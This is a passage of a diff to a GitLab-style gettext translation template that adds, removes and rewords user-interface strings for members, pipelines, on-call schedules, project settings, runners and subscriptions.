-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
